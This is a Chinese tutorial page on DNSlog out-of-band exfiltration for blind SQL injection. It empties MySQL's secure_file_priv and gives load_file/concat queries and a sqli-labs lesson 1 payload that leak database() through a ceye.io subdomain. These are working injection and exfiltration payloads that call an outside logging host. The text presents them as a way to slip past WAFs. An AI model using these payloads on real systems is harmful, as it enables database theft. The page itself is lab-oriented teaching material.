栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

DNSlog外带

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DNSlog外带

使用原因:

在进行盲注的时候,因为需要频繁发送访问请求,有的网站配置了waf就有可能让我们的注入受阻。所以用DNSlog外带可以减少请求并且直接回显数据,真的是绝绝子,好用到跺jiojio。

什么是DNS:

DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址

什么是DNSlog:

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理:

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

使用步骤:

1、由于我们要用的MySQL的load_file函数发送请求,所以需要提前配置一下我们的my.ini文件。

打开my.ini文件,添加secure_file_priv参数,并且置空,然后登陆mysql查看设置,命令如下:

show variables like '%secure%'

发现成功置空。

该参数的值的含义如下:

当secure_file_priv为空,就可以读取任意文件

当secure_file_priv为特定的某个位置,那么就只能读取该位置的文件,如"D:"

当secure_file_priv为NULL,load_file函数就不能加载文件。

2、在ceye.io注册域名进行DNSlog外带的尝试,注册完后获得域名,使用sql语句尝试访问,然后去到DNS Query那里查看请求是否接收

3、上面基本证明了DNSlog是可以显示出信息的,那么接下来就让我们看一下是怎么外带出信息的,首先我们先创造一个test库,然后进行查询,结果如下:

查询语句如下:

select load_file(concat('\\',(select database()),'.yxllh9.ceye.io\abc'));

这里用concat拼接字符。

4、既然上面都行得通,那么就该思考如何用在靶场上了,其实简单的换一下注入的方式就可以了,这里我用的是sqli-lab里面的lesson1,是一个很简单的错误注入题,我们换一下注入的方式,注入代码如下:

?id=1' and (select load_file(concat('\\',(select database()),'.yxllh9.ceye.io\abc')))#

这个样子当然是没有回显的,但是当我们查看DNSlog的时候就能发现我们需要的payload了。

 

哈哈,感觉有趣又好用,DNSlog外带yyds啊


忘了说了,还有查表名和字段名,这两点其实和之前在联合查询里面讲的基本一样,不过要注意limit一下,因为load_file只能读取一个目录

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/747588.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号